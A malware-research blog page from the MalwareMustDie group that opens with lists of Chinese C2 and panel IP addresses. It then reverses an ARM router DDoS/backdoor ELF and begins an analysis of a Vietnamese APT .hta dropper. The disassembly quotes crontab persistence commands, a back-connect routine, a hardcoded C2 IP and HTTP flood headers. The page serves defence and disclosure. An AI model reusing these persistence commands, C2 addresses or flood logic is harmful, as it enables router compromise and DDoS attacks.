183.60.202.91||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
110.80.129.134||4134 | 110.80.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET FUJIAN PROVINCE NETWORK
182.254.168.157||45090 | 182.254.168.0/23 | CNNIC-TENCENT-NET |  | - | COMSENZ TECHNOLOGY LTD
182.254.180.241||45090 | 182.254.180.0/23 | CNNIC-TENCENT-NET |  | - | COMSENZ TECHNOLOGY LTD
219.235.8.29|host-219-235-8-29.iphost.gotonets.com.|17621 | 219.235.8.0/24 | CNCGROUP | CN | GOTONETS.COM | SHANGHAI QIANWAN NETWORK CO. LTD
104.194.6.138||36114 | 104.194.0.0/19 | VWEB-8 | US | VERSA14 | VERSAWEB, LLC
121.127.241.55||38197 | 121.127.241.0/24 | SUNHK-DATA-AS | HK | SUN.NET.HK | SUN NETWORK (HONG KONG) LIMITED
183.60.202.209||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
218.84.198.37||4134 | 218.84.0.0/16 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET XINJIANG PROVINCE NETWORK
114.215.140.230||37963 | 114.215.0.0/16 | CNNIC-ALIBABA-CN-NET | CN | ALIYUN.COM | ALIYUN COMPUTING CO. LTD
183.60.109.78||65222 | 183.60.109.78/32 | -Private |  | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK

Below is the list of IP addresses to block (Tango Queue List)

222.186.30.239
61.147.103.185
(NEW) 222.186.21.55
(NEW) 121.42.12.57

We thank you for all entities that were kindly helping us to fight this threat. We look forward to keep on having good coordination to take down more infector IP addresses and domains.

If you happened to have ELF malware, please do not hesitate to send us sample by uploading to this-->[link] URL.

Please help our effort to report us the existence of new panels if the IP is not on the above lists (Tango or Queue List), by writing the comment under this post (will not be published), or mention to @malwaremustdie (twitter).

Comment & follow up:

Preliminary stage of takedown (was only 11 confirmed that time)

What is the impact of this take down to the actor(s) actually?

Follow up (the next takedown):

MalwareMustDie!

Friday, September 12, 2014

MMD-0026-2014 - Router Malware Warning | Reversing an ARM arch ELF AES.DDoS (China malware)

The background

It is one of our active project to monitor the China origin ELF DDoS'er malware threat. The growth is very rapid nowadays, MMD detected 5 variants is active under almost 15 panels scattered in China network. I am quite active in supporting the team members of this project, so recently almost everyday I reverse ELF files between 5-10 binaries. They are not aiming servers with x32 or x64 architecture but the router devices that runs on Linux too. In some cases I found the FreeBSD variant.

In this story I faced an ARM architecture binary, which I found it interesting so I decided to share it here. The reason is because, practically: it was designed to work in ARM router with minimizing a well-known Linux malware with DDoS functions/features, that I also previously posted some in here --->[-1-] [-2-] [-3-] [-4-] [-5-] [-6-], to specifically infect ARM (router) devices, and this binary is trying to convince that it is a WindowsHelp binary :D , and ,specifically: from my reverse engineering point of view, ARM & "thumb" assembly are interesting.
Why I know it is aiming for router is because, the way to use internet to connect directly to remote global IP, the method used to grab data using specific location in the embedded device, and the trace of sources used during the compilation of the malware itself.

The malware

As usual, China actor(s) serves their malware binary under "specific panel", and this binary is spotted among with other Linux/Elknots malware. So as you can see it was served from Sept 10th and is having 4 downloads (including me, one time)

The file looks like this:

$ ls -alF 1
-rwxr--r--  1 mmd  mmd  165,176 Sep 10 10:21 1
$ md5 1
MD5 (1) = 0bb68bd65d94f61b7b20117b99d8526c
$ file 1
1: ELF 32-bit LSB executable, ARM, version 1 (GNU/Linux), statically linked, stripped

Well, we know is an ARM binary, but I need more information, so I check the ELF composition:

  Entry point address:  "0x2f118"
  Start of program headers: "52" (bytes into file)
  Start of section headers: "0" (bytes into file)
  Flags: "0x4000002", has entry point, "Version4 EABI"
  Size of this header: "52" (bytes)
  Size of program headers: "32" (bytes)
  Number of program headers: "2"
  Size of section headers: "40" (bytes)
  Number of section headers: "0"
  Section header string table index: "0"

Program Headers:
  Type     Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD     "0x000000 0x00008000 0x00008000 0x282b1 0x282b1 R E 0x8000"
  LOAD     "0x000c24 0x000d0c24 0x000d0c24 0x00000 0x00000 RW  0x8000"
Now it's time for calculating the data, we know the size and we see the each LOAD headers size which is just unfit, further, I don't see any section (either dynamic or static) nor relocation data that I can expect from an ARM ELF (they should have more symbols), which is strange. This a sign of protection, someone want to hide something, in the end that person is hiding EVERYTHING which ending up to be very suspicious :-) - So the binary could be packed or encrypted protection, we have many possibility.

Further details of this family of ELF malware we posted regularly in here:-->[link]

Packer

Let's check, I went to the EP point (0x2f118) and start to do the stuff I usually do, with noted..we have to be very patient with the ARM or THUMB assembly since they have larger steps for simple operation than Intel processor.

;-- entry0:
0x0002f118  adr     r12, off_2f104
0x0002f11c  ldmia   r12, {r1,r2,r10,r11,lr}
0x0002f120  add     r10, r10, r12
0x0002f124  add     r11, r11, r12
0x0002f128  mov     r0, r2
0x0002f12c  sub     r9, r12, r1
0x0002f130  add     r1, r1, #0x1000
0x0002f134  mov     r3, #0
0x0002f138  stmfd   sp!, {r0-r3,lr}
0x0002f13c  mov     r2, #7
0x0002f140  ldr     r3, [r12,#0x10]
0x0002f144  mov     r5, #0
0x0002f148  mov     r4, 0xffffffff
0x0002f14c  orr     r3, r3, #0x10
0x0002f150  mov     r7, #0xc0
0x0002f154  svc     0
0x0002f158  cmn     r0, #0x1000
0x0002f15c  bcs     loc_0x02fbd0
  [...]
..following the registers value and in r1 we will find the value that can tell what is happening:
0x0002fbd0  mov  r2, #0x1e
0x0002fbd4  adr  r1, aprot_execprot_ ; ""PROT_EXEC|PROT_WRITE failed.\n""
0x0002fbd8  mov  r0, #2
0x0002fbdc  mov  r7, #4
0x0002fbe0  svc  0
This value may ring your bells too :). ok this ELF is protected, with/for what? I look from its DCB data from where it was called and clarifying the answer:
0x0002FBF0 aProt_execProt_ DCB "PROT_EXEC|PROT_WRITE failed.",0xA,0
0x0002FC0E                 DCB 0xA,0
0x0002FC10 aInfoThisFileIs DCB 0x24,"Info: This file is packed with the UPX executable packer http:/"
0x0002FC10                 DCB "/upx.sf.net ",0x24,0xA,0
0x0002FC5F aIdUpx3_91Copyr DCB 0x24,"Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights R"
0x0002FC5F                 DCB "eserved. ",0x24,0xA,0
0x0002FCAB                 DCB 0x0 ;; here goes the table..
0x0002FCAC                 DCD 0x9A8, 0x5F9, 0x500E, 0x6C00031A, 0x942C5302, 0x18D063CB
0x0002FCAC                 DCD 0x49382EE, 0xD185E779, 0x57399E2E, 0xD24C892F, 0x1003EA02
0x0002FCAC                 DCD 0x6A5A70C9, 0x2F701D6A, 0x6D0D9A7, 0xD2EC6754, 0x95ECE49
[...]                      [...]
Oh, silly me.. it is a UPX, but, is it common and not modded one? So I went back to check the hex snapshot, to confirm..
00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 28 00 01 00 00 00  18 f1 02 00 34 00 00 00  |..(.........4...|
00000020  00 00 00 00 02 00 00 04  34 00 20 00 02 00 28 00  |........4.(.|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 80 00 00  |................|
00000040  00 80 00 00 b1 82 02 00  b1 82 02 00 05 00 00 00  |................|
00000050  00 80 00 00 01 00 00 00  24 0c 00 00 24 0c 0d 00  |........$...$...|
00000060  24 0c 0d 00 00 00 00 00  00 00 00 00 06 00 00 00  |$...............|
00000070  00 80 00 00 93 cc 51 fc  55 50 58 21 b4 11 0d 17  |......Q.UPX!....|
00000080  00 00 00 00 58 64 08 00  58 64 08 00 d4 00 00 00  |....Xd..Xd......|
Since I know that some malware actors is really (enjoying to ) watch this blog too (smile). I don't want to be specific on this, but from reading the hex above we can recognize the originality of this UPX, which it is. Otherwise you have patch it to depack, sample a way to depack the custom UPX is in here-->[LINK]. Further.. as this is the common UPX, and the "U" stands for universal & we can do "universal" solution too to unpack :)
 549976 <-    165176   30.03%   linux/armel   unpacked.1
So now we have the bigger file size :D
This time let's check the composition again:
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 28 00 01 00 00 00  10 81 00 00 34 00 00 00  |..(.........4...|
00000020  f8 5f 08 00 02 00 00 04  34 00 20 00 05 00 28 00  |._......4.(.|
00000030  1c 00 1b 00 01 00 00 70  5c bb 07 00 5c 3b 08 00  |.......p\...\;..|
00000040  5c 3b 08 00 00 09 00 00  00 09 00 00 04 00 00 00  |\;..............|
00000050  04 00 00 00 01 00 00 00  00 00 00 00 00 80 00 00  |................|
00000060  00 80 00 00 dc c4 07 00  dc c4 07 00 05 00 00 00  |................|
00000070  00 80 00 00 01 00 00 00  dc c4 07 00 dc c4 08 00  |................|
00000080  dc c4 08 00 4c 0a 00 00  48 47 04 00 06 00 00 00  |....L...HG......|
00000090  00 80 00 00 04 00 00 00  d4 00 00 00 d4 80 00 00  |................|
000000a0  d4 80 00 00 20 00 00 00  20 00 00 00 04 00 00 00  |........|
000000b0  04 00 00 00 07 00 00 00  dc c4 07 00 dc c4 08 00  |................|
000000c0  dc c4 08 00 14 00 00 00  30 00 00 00 04 00 00 00  |........0.......|
000000d0  04 00 00 00 04 00 00 00  10 00 00 00 01 00 00 00  |................|
000000e0  47 4e 55 00 00 00 00 00  02 00 00 00 06 00 00 00  |GNU.............|
Yeah, the "GNU" ascii appears now. And, see more details below:
 Entry point address: "0x8110"
 Start of program headers:  "52" (bytes into file)
 Start of section headers:  "548,856" (bytes into file)
 Flags:   "0x4000002", has entry point, "Version4 EABI"
 Size of this header: "52" (bytes)
 Size of program headers:   "32" (bytes)
 Number of program headers:   "5"
 Size of section headers:   "40" (bytes)
 Number of section headers:   "28"
 Section header string table index: "27"
Good! the true EP is shown now. And we have the new program headers too:
  Type     Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  EXIDX    "0x07bb5c 0x00083b5c 0x00083b5c 0x00900 0x00900" R   0x4
  LOAD     "0x000000 0x00008000 0x00008000 0x7c4dc 0x7c4dc" R E 0x8000
  LOAD     "0x07c4dc 0x0008c4dc 0x0008c4dc 0x00a4c 0x44748" RW  0x8000
  NOTE     "0x0000d4 0x000080d4 0x000080d4 0x00020 0x00020" R   0x4
  TLS      "0x07c4dc 0x0008c4dc 0x0008c4dc 0x00014 0x00030" R   0x4
A quick calculation of the size above shows that at least we have accuracy to more than 80% to the actual size now, good enough. It showed we have unprotected/unpacked data and so I can expect good material to disassembly it, but firstly, let's dump the sections to be sure that we have no more encryption/protection:
.note.ABI-tag 
.init 
.fini 
.init_array 
.fini_array 
__libc_freeres_fn 
__libc_thread_freeres_fn 
__libc_freeres_ptrs 
__libc_subfreeres 
__libc_atexit 
__libc_thread_subfreeres 
.text 
.rodata 
.ARM.extab 
.ARM.exidx 
.ARM.attributes
.eh_frame 
.jcr 
.data.rel.ro 
.got 
.data 
.bss 
.note.ABI-tag 
.tdata 
.tbss 
After comparing some ELF reference for ARM to make sure we have the proper heades, I found that all headers are there!)) Good. Since I happened to reverse a lot of same malware I can guess the sections that contains the good data, these are the section I picked to start analysis:
Name               Addr     Off    Size
-------------------------------------------
.text              0x08110 0x00110 0x6605c
.rodata            0x6f008 0x67008 0x149a0
__libc_freeres_fn  0x6e16c 0x6616c 0x00df4 
.text is a must in ELF since all of code logic goes here, and .rodata mostly contains the database of symbols (and sometimes .data too..depends on the coder). You can go to other section like .bss/.tbss for more symbol reference, but for me I'll pick __libc_freeres_fn since it is typical for this case.

To verdict its malicious process by reverse engineering

I will go to the reversing highlights, meanings..the most important process only. I don't write the sub functions, i.e. how it grabs the ethernet data, or how this malware use socket to connect an IP, for example, since the code is too long. But to be noted, since ARM architecture has different structure than Intel, and ARM is designed for the embedded systems, you will see many different method for the detail operation that is involving with the system calls.
OK, here are the highlights that I would like to cover;

1. Installation:

Malware changes attribute & chmod the crontab, this is a bit specific setup that rarely found in the previous types, suggesting a new built, previously most of them are aiming autostart at the xinetd for autostart installation.

.text:0x0A760  STMFD   SP!, {R4-R8,LR}
.text:0x0A764  SUB  SP, SP, #0x208
.text:0x0A768  ADD  R7, SP, #0x108
.text:0x0A76C  MOV  R4, R0
.text:0x0A770  MOV  R8, R1
.text:0x0A774  MOV  R0, R7
.text:0x0A778  MOV  R1, #0x100
.text:0x0A77C  BL   sub_0x026FB0
.text:0x0A780  LDR  R0,  <-- "chattr -i /etc/crontab"
.text:0x0A784  BL   sub_0x0E3E0
.text:0x0A788  LDR  R0, <-- "chmod +w /etc/crontab"
Adding the autostart entry in it:
.text:0x0A7DC ; xref: sub_0x0A760
.text:0x0A7DC  LDR  R1, <-- "sed -i '/%s/d' /etc/crontab"
.text:0x0A7E0  MOV  R2, R5
.text:0x0A7E4  MOV  R0, R6
   :
.text:0x0A800  LDR  R1, <-- "echo '*/1 * * * * root %s/%s %s' >> /etc/crontab"
.text:0x0A804  STR  R8, [SP,#0x108+var_108]
.text:0x0A808  BL   sub_0x0182DC
.text:0x0A80C  MOV  R0, R6
.text:0x0A810  BL   sub_0x0E3E0
Create the file: "/etc/.mysys", which later on found as the self copy attempt.
.text:0x0A83C  STR  LR, [SP,#var_4]!
.text:0x0A840  MOV  R1, #0x42
.text:0x0A844  SUB  SP, SP, #4
.text:0x0A848  LDR  R0, <-- "/etc/.mysys"
.text:0x0A84C  BL   sub_0x0E350
.text:0x0A850  CMP  R0, #0
.text:0x0A854  MOV  R1, #6
.text:0x0A858  BGT  loc_0x0A86C

2. Initiation of the service... which lead to CNC information :-)

We'll see 3 thread will be spawned, which using "/dev/null" as value, this is typical MO for most types of AES.DDoS'ers we saw.

.text:0x082E0  LDR  R0, <-- "/dev/null"
.text:0x082E4  BL   sub_0x0E350 ; 
.text:0x082E8  MOV  R1, #2
.text:0x082EC  LDR  R0, <-- "/dev/null"
.text:0x082F0  BL   sub_0x0E350
.text:0x082F4  MOV  R1, #2
.text:0x082F8  LDR  R0, <-- "/dev/null"
.text:0x082FC  BL   sub_0x0E350
..following with "effortS" to start the service:
.text:0x0831C  LDR  R0, [R5]
.text:0x08320  LDR  R1, <-- "mt"
.text:0x08324  BL   sub_0x0A760
.text:0x08328  MOV  R0, #1
.text:0x0832C  MOV  R1, R0
.text:0x08330  BL   sub_0x01614C
.text:0x08334  LDR  R0, <-- reg RO = "Int Server..."
.text:0x08338  BL   sub_0x018F2C
.text:0x0833C  MOV  R1, R4
.text:0x08340  MOV  R3, R4
.text:0x08344  LDR  R2, =sub_0x08A60
.text:0x08348  LDR  R0, =unk_0x0D0990
.text:0x0834C  BL   sub_0x0B33C
.text:0x08350  MOV  R1, R4
.text:0x08354  MOV  R3, R4
.text:0x08358  LDR  R2, =sub_0x088D8
.text:0x0835C  LDR  R0, =unk_0x0D0988
.text:0x08360  BL   sub_0x0B33C
.text:0x08364  MOV  R1, R4
.text:0x08368  MOV  R3, R4
.text:0x0836C  LDR  R2, =sub_0x08598
.text:0x08370  LDR  R0, =unk_0x09097C
.text:0x08374  BL   sub_0x0B33C
.text:0x08378  MOV  R1, R4
.text:0x0837C  MOV  R3, R4
To connect to "something". I trailed it to get all variables needed:
.text:0x08394  LDR  R0, <-- RO contains "connect to server..."
.text:0x08398  BL   sub_0x018F2C
.text:0x0839C  MOV  R1, #0
.text:0x083A0  MOV  R3, R1
.text:0x083A4  LDR  R2, =sub_0x0A038 <--"jump here"
       [...]
.text:0x0A038  STMFD   SP!, {R4-R10,LR}
.text:0x0A03C  SUB     SP, SP, #0x9C0
.text:0x0A040  BL      sub_0x09E68 <--"jump again here"
And the destination 0x09E68 there is the IP address of this connection.
.text:0x09E68 LDR  R0, =unk_0x08C5C4  <-- address to get the CNC IP Address
.text:0x09E68 <-- go down to hard-copied data:0x08C5C8 it's the IP "182.254.180.241"
Now we know the CNC is in 182.254.180.241 which is in:
ASN: 45090 / CNNIC-TENCENT-NET
PREFIX: 182.254.180.0/23
ISP: COMSENZ TECHNOLOGY LTD
COUNTRY: CHINA
..well, I am not surprised.

3. An effort to fake Windows Help (WinHelp.exe) service :)

Continuing the data flow started above, I end-up facing an interesting data:

   :
.text:0x09E68 LDR  R0, =unk_0x08C5C4
.text:0x09E6C STMFD   SP!, {R4-R8,R10,LR}
.text:0x09E70 LDR  R2, [R0,#(dword_0x08C62C - 0x08C5C4)]
The data after dword in .data:0x08C62C is the .data:0x08C630 (DCB) which is "WinHelp32.exe", see it here if you don't believe me:

This is just unbelievable, seeking further to figure what is this, I found the complete set of data for this "fake process" which is a self explanatory:

I don't know what to say about this..

4. PoC of backdoor and sending sensitive data to remote host:

It's self explanatory in the codes below, the BackConnect part:

.text:0x08420  ; .text:off_0x08408
.text:0x08420  STMFD   SP!, {R4,LR}
.text:0x08424  LDR  R4, =dword_0x0D0984
.text:0x08428
.text:0x08428  ; xref: sub_0x08420
.text:0x08428  LDR  R0, <---- "Back connect to server..."
.text:0x0842C  BL   sub_0x018F2C
.text:0x08430  MOV  R1, #0
.text:0x08434  MOV  R3, R1
.text:0x08438  LDR  R2, =sub_0x099E0
.text:0x0843C  LDR  R0, =dword_0x0D0984
.text:0x08440  BL   sub_0x0B33C
.text:0x08444  MOV  R1, #0
.text:0x08448  LDR  R0, [R4]
.text:0x0844C  BL   sub_0x0C4FC
.text:0x08450  LDR  R0, [R4]
.text:0x08454  BL   sub_0x0E070
.text:0x08458  LDR  R0, =0x4C4B40
.text:0x0845C  BL   sub_0x0272F0
.text:0x08460  B    loc_0x08428
And the trace of information to be sent to remote:
.text:0x08500  STMFD   SP!, {R4,R5,LR}
.text:0x08504  LDR  R1, =dword_0x090980
.text:0x08508  SUB  SP, SP, #0x400
.text:0x0850C  SUB  SP, SP, #0xC
.text:0x08510  LDR  R2, =dword_0x090978
.text:0x08514  LDR  R12, [R1]
.text:0x08518  ADD  R4, SP, #0x418+var_410
.text:0x0851C  LDR  R3, [R2]
.text:0x08520  MOV  R1, #0x400
.text:0x08524  LDR  R2  <--- "INFO:%d|%d"
.text:0x08528  MOV  R0, R4
.text:0x0852C  STR  R12, [SP,#0x418+var_418]
.text:0x08530  BL   sub_0x0182B0
.text:0x08534  LDR  R3, =dword_0x08CF44
.text:0x08538  MOV  R0, R4
.text:0x0853C  LDR  R5, [R3]
.text:0x08540  BL   sub_0x024540
.text:0x08544  MOV  R1, R4
.text:0x08548  ADD  R2, R0, #1
.text:0x0854C  MOV  R0, R5
.text:0x08550  BL   sub_0x0DF10
.text:0x08554  LDR  R3, =dword_0x08CF48
.text:0x08558  MOV  R0, R4
.text:0x0855C  LDR  R5, [R3]
.text:0x08560  BL   sub_0x024540
.text:0x08564  MOV  R1, R4
.text:0x08568  ADD  R2, R0, #1
.text:0x0856C  MOV  R0, R5
.text:0x08570  BL   sub_0x0DF10
.text:0x08574  ADD  SP, SP, #0xC
.text:0x08578  ADD  SP, SP, #0x400
.text:0x0857C  LDMFD   SP!, {R4,R5,LR}
.text:0x08580  BX   LR

5. The HTTP header used for DoS activity:

This is the function to be called when performing DoS by HTTP, I pasted it here as PoC of DDoS'er, please bear the length:

.text:0x0A548  LDR  R1 <--- " HTTP/1.1\r\n"
.text:0x0A54C  MOV  R2, #0xB
.text:0x0A550  ADD  R0, R8, R5
.text:0x0A554  BL   sub_0x0252B8
.text:0x0A558  ADD  R0, R5, #0xB
.text:0x0A55C  LDR  R1 <--- "Accept: text/html, application/xhtml+xml, */*\r\n"
.text:0x0A560  MOV  R2, #0x2F
.text:0x0A564  ADD  R0, R8, R0
.text:0x0A568  BL   sub_0x0252B8
.text:0x0A56C  ADD  R0, R5, #0x3A
.text:0x0A570  LDR  R1 <--- "Accept-Language: zh-CN\r\n"
                      "↑please noted this CHINESE character encoding↑"
.text:0x0A574  MOV  R2, #0x18
.text:0x0A578  ADD  R0, R8, R0
.text:0x0A57C  BL   sub_0x0252B8
.text:0x0A580  ADD  R0, R5, #0x52
.text:0x0A584  LDR  R1 <--- "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\r\n"
.text:0x0A588  MOV  R2, #0x55
.text:0x0A58C  ADD  R0, R8, R0
.text:0x0A590  BL   sub_0x0252B8
.text:0x0A594  ADD  R0, R5, #0xA7
.text:0x0A598  LDR  R1 <--- "Accept-Encoding: gzip, deflate\r\n"
.text:0x0A59C  MOV  R2, #0x20
.text:0x0A5A0  ADD  R0, R8, R0
.text:0x0A5A4  BL   sub_0x0252B8
.text:0x0A5A8  ADD  R0, R5, #0xC7
.text:0x0A5AC  LDR  R1 <--- "Host: "
.text:0x0A5B0  MOV  R2, #6
.text:0x0A5B4  ADD  R0, R8, R0
.text:0x0A5B8  BL   sub_0x0252B8
.text:0x0A5BC  MOV  R0, R9
.text:0x0A5C0  BL   sub_0x024540
.text:0x0A5C4  ADD  R5, R5, #0xCD
.text:0x0A5C8  ADD  R4, R8, R5
.text:0x0A5CC  MOV  R2, R0
.text:0x0A5D0  MOV  R1, R9
.text:0x0A5D4  MOV  R0, R4
.text:0x0A5D8  BL   sub_0x0252B8
.text:0x0A5DC  MOV  R0, R9
.text:0x0A5E0  BL   sub_0x024540
.text:0x0A5E4  ADD  R5, R5, R0
.text:0x0A5E8  LDR  R1 <--- "\r\nConnection: Keep-Alive\r\n"
.text:0x0A5EC  MOV  R2, #0x1A
.text:0x0A5F0  ADD  R0, R8, R5
.text:0x0A5F4  BL   sub_0x0252B8
.text:0x0A5F8  ADD  R0, R5, #0x1A
.text:0x0A5FC  MOV  R2, #0x14
.text:0x0A600  LDR  R1 <--- "Pragma: no-cache\r\n\r\n"
.text:0x0A604  ADD  R0, R8, R0
.text:0x0A608  BL   sub_0x0252B8
.text:0x0A60C  MOV  R1, #1
.text:0x0A610  MOV  R0, #0xD
.text:0x0A614  BL   sub_0x01614C
.text:0x0A618  MOV  R0, R10
.text:0x0A61C  MOV  R1, R8
.text:0x0A620  ADD  R2, R5, #0x2E
.text:0x0A624  MOV  R3, #0
.text:0x0A628  BL   sub_0x0E1D0
   :     ;
.text:0x0A674  LDR  R1 <-- "GET "
.text:0x0A678  MOV  R2, #4
.text:0x0A67C  MOV  R0, R8
.text:0x0A680  BL   sub_0x0252B8

Detection ratio & sample

The detection ratio is very low, like..ZERO. Here's the evidence, please click to enlarge the image:

The VirusTotal's link is here-->[LINK]

This post is one of proof of concept that routers is actually aimed by the malware actors for one of some reasons, and the main purpose is because they are widely used all over the internet with having the global IP address, and also up and alive 364/7/24. For the crooks who are behind the malware describes in this case, owning many routers means having power of an "army of DoS bots" than can be powerful tool for an attack. We saw not only ARM architecture, but MIPS, PPC, MIPSEL, SuperH(SH) binaries are also spotted in the wild.

I am adding these project's sample in kernel mode, Will add the link shortly in here, please stay tune, I must clean up all of the garbage I made first. This is the link-->[HERE]

Conclusion & additional notes

It is up to you to defend your own router. As you can see no AV can detect these malware, it's over a week being there now. Please check your router user interface, make sure you are using the latest updates/firmware and make sure that your setting is correct and unchanged. Being skeptical during checking your router/gateway layer is very recommendable, and if you find anything unusual/suspicious please analyze it WHY and try not to let it go until you find a satisfactory answer for it. If you find it work and having no problem, backup the setting and save it right away.

The Intel x32 edition of this variant just was just spotted, analysis is here-->[LINK] <<-- you can see more details on source, compatibility, compilation etc.

The router version of ELF DDoS + backdoor malware is also spotted in the MIPS architercture, analysis is here-->[HERE] and in here-->[HERE]. The older version of the ARM ELF DDoS'er malware spotted is also available here-->[HERE].
The below tweet is the PoC that even PPC architecture is also aimed by DDoS'er malware too now (different actor & using "Tsunami" malware)

This is a warning of the true fact & evidence that the recent ELF malware coders are not only aiming x32 or x64 servers anymore, but routers too.

Why SOHO routers are aimed for malware infection?

The excellent research conducted by ISE (independent security firm in Baltimore, Maryland) explained in their publishment here--[LINK], that:
"..discovered critical security vulnerabilities in numerous small office/home office (SOHO) routers and wireless access points. These vulnerabilities allow a remote attacker to take full control of the router's configuration settings; some allow a local attacker to bypass authentication directly and take control. "

As an illustration, ISE shows a matrix of vulnerability vectors for the evaluated known routers:

This shows us there is a weak security vector is aimed in SOHO router layer, and most of the houses & SOHO business are connected in the internet through these xDSL routers. We can not under-estimated the current volume of these routers, being up and alive in internet now. Maybe there's only a low percentage of alive routers are having the vulnerabilities mentioned, but please imagine how powerful a DDoS attack will be if a bad actor is successfully gaining access to control, say, 1% of overall alive xDSL SOHO routers. And please think what if your house or office routers are unknowingly participated into a DDoS or other attacks against a certain banks or a specific country in the world?

Additional: China ELF CNC & Web Panels Takedown

Among of the attackers we detected so far, China's bad actors are the most aggressive one. If the bad actors in China think that MMD won't do anything about their evil action, they can start to cry now, we tango'ed 25 29 ELF malware download panels panels (the counting is still rolling) as per announced below:

Stay safe, friends! #MalwareMustDie!

Saturday, August 23, 2014

Another country-sponsored #malware: Vietnam APT Campaign

The background

This is a team work analysis, we have at least 5 (five) members involved with this investigation.
The case that is about to be explained here is an APT case. Until now, we were (actually) avoiding APT cases for publicity in Malware Must Die! posts. But due to recent progress in "public privacy violation or power-abuse/bullying" malware cases, we improved our policy, so for several cases fit to "a certain condition", i.e. malware developed by "powerful actors with budget" aiming weak victims including the APT method, or, intimidation for public privacy cases using a crafted-malware, are going to be disclosed and reported here "ala MMD", along w/public criminal threat too. So don't use malware if you don't want to look BAD :-)

This case is NOT a new threat, for the background this threat was written in the Infosec Island blog, written by By Eva Galperin and Morgan Marquis-Boire in the good report of article: "Vietnamese Malware Gets Very Personal" which is posted several months ago, access is in here-->[LINK], the post was very well written as heads up for this threat. Also, there are similar article supported to this threat and worth reading beforehand like:

  • https://www.hostragon.com/shadowy-pro-government-hacking-squad-spying-vietnamese-bloggers/
  • http://english.vietnamnet.vn/fms/science-it/102484/chinese-hackers-set-malware-to-trap-vietnamese-internet-users.html
  • http://www.nytimes.com/aponline/2014/01/20/world/asia/ap-as-vietnam-online-wars.html

    You can consider this post is made as additional for the previous writings, to disclose deeper of what public and the victims actually SHOULD know in-depth about the malicious activity detail, that is performed by this malware. To be more preventive in the future for the similar attack that is possibly occurred.

    We suspect a group with good budget is in behind of this malware, aiming and bullying privacy of specific individuals who against one country's political method. In a glimpse, the malware, which is trying hard to look like a common-threat, looks like a simple backdoor & connecting/sending some stuffs to CNC. But if you see it closely to the way it works, you will be amazed of the technique used to fulfill its purpose, and SPYING is the right word for that purpose.

    The sample we analyzed in this post was received from the victims side, we picked the one file called "Thu moi.7z" which contains the "Thu moi.hta" snipped below:

    ..which was reported as the latest of this series.

    From the surface, if "Thu moi.hta" file is being executed (double clicked), it will extract (drop) and opening a Microsoft Word DOC file, to camouflage the victim to make them believe that they are opening an archived document file, while what had actually happened is, in the background a series of infection activities happened in the victim's PC.

    Malware installer scheme

    How the file was extracted from "Thu moi.hta" is by utilizing a simple embedded VB Script, you can see it started in the line 307 (of that .hta sample file) as per shown below in any text editor you pick:

    At the starting part of this script. you can see three points was used to camouflage, which are : (1) The usage of the long white space to cover the evil script start tag from the eye-sight, (2) the effort to minimize the "window" for the shell used to run this evil VB Script, and (3) the effort to NOT showing the window taskbar during the script running.

    I will try to peel the evil script used, with the explanation I commented within the lines, as per below:


    So, the script was design to keep on running in any run time error. You will meet the function forming the randomized strings for an "exe" filename. You can see how this script generate the "random seed" to be used for randomizing the strings used for filename, and how it merged filename with the ".exe" extension afterwards. Then the script is obfuscating the WScript's (the Windows OS interpreter engine for running a VB Script) commands to form an object of file system, and the shell for execution a windows command/executable file(s).


    The line 48 & 49 of the script is to declare the file object & shell mentioned above in the variable "os" and "ws". And following by defining the windows temporary folder as file's path added by the function's generated randomized name as filename+extension. To make sure of what these variables generated values, I am using break points formed by Wscript.Echo trick to burp its value in a pop-up.

    The VB Script is creating the EXE file as per previously described above, declared it as an object "p1". Then you can see blob of binary codes to be written as HEX to form a file, by using the combination of commands in VB script. This method is commonly used as technique to write a malware binary in VB Script. But this one is a well-thought one.

    The next lines is explaining the same method used for HEX file-writing. Yes, it wrote another file, and declaring it as object "p", but this one is using the static variable name "Doc Loi.doc" which is using the %Temp% path too (noted: GetSpecialFolder(x) where x=2 means %Temp%).

    Here's the punchline, the last part of codes (lines 116 and 117) you will see the script is performing execution of object "p" (the .doc file) and without waiting it just run the "p1" (the .exe malware).

    We recheck the run result of any decoding method we did. In this case I just commented the line 116 and 117 and..as per expected, this script runs and minimizing the window w/o taskbar title:

    And it creates those two files (before execution). I run it many times for fun..NO!" ..for "analysis" (Uhm!), so I can extract randomized injected files to check is it polymorphic or not (and..of course..it is not, NOT with this plain Hex writing crap).

    Further, we also formed the binary file-injecting itself from hex-strings directly from the script as per snipped below, to study the possibility of a miss-writing that can happened during forming the PE extraction, the test was done with the same result. A snip of scratch used (thanks to MMD DE team):

    We also check bit-by-bit to make sure which samples belong to which installers, since this malware looks hit some victims / more than one time.

    So what does this ".exe" malware do?

    Polymorphic self-copy & new process spawner

    I picked the .exe file dropped by this .hta installer with the MD5 hash f38d0fb4f1ac3571f07006fb85130a0d, this malware was uploaded to VT about 7 months ago.

    The malware is the one was dropped by the installer, you can see the same last bits before blobs of "00" hex were written in the malware binary as per snipped and red-marked color in the VB script mentioned in the previous section:

    This binary is having an interesting functionality. There's so much to write from it..but I will go to important highlights, or this post is going to be a book. Among all usual malicious tricks for evasion & "reverse/debug checking" tricks used, it was designed to detect the way it was called. When it was initially executed as the form of the dropped .exe from the .hta installer it will delete the original file and rewrite itself to the %Temp% folder using the random Hex-filename with ".tmp" extension, below is the partial writing codes snipped for it:

    The self-copied files are polymorphic, below some PoC, one AV evasion detection designed:

    Size   Exec Date    Filename MD5
    -------------------------------------------------------------
    438272 Aug 23 01:28 10.tmp*  577237bfd9c40e7419d27b7b884f95d3
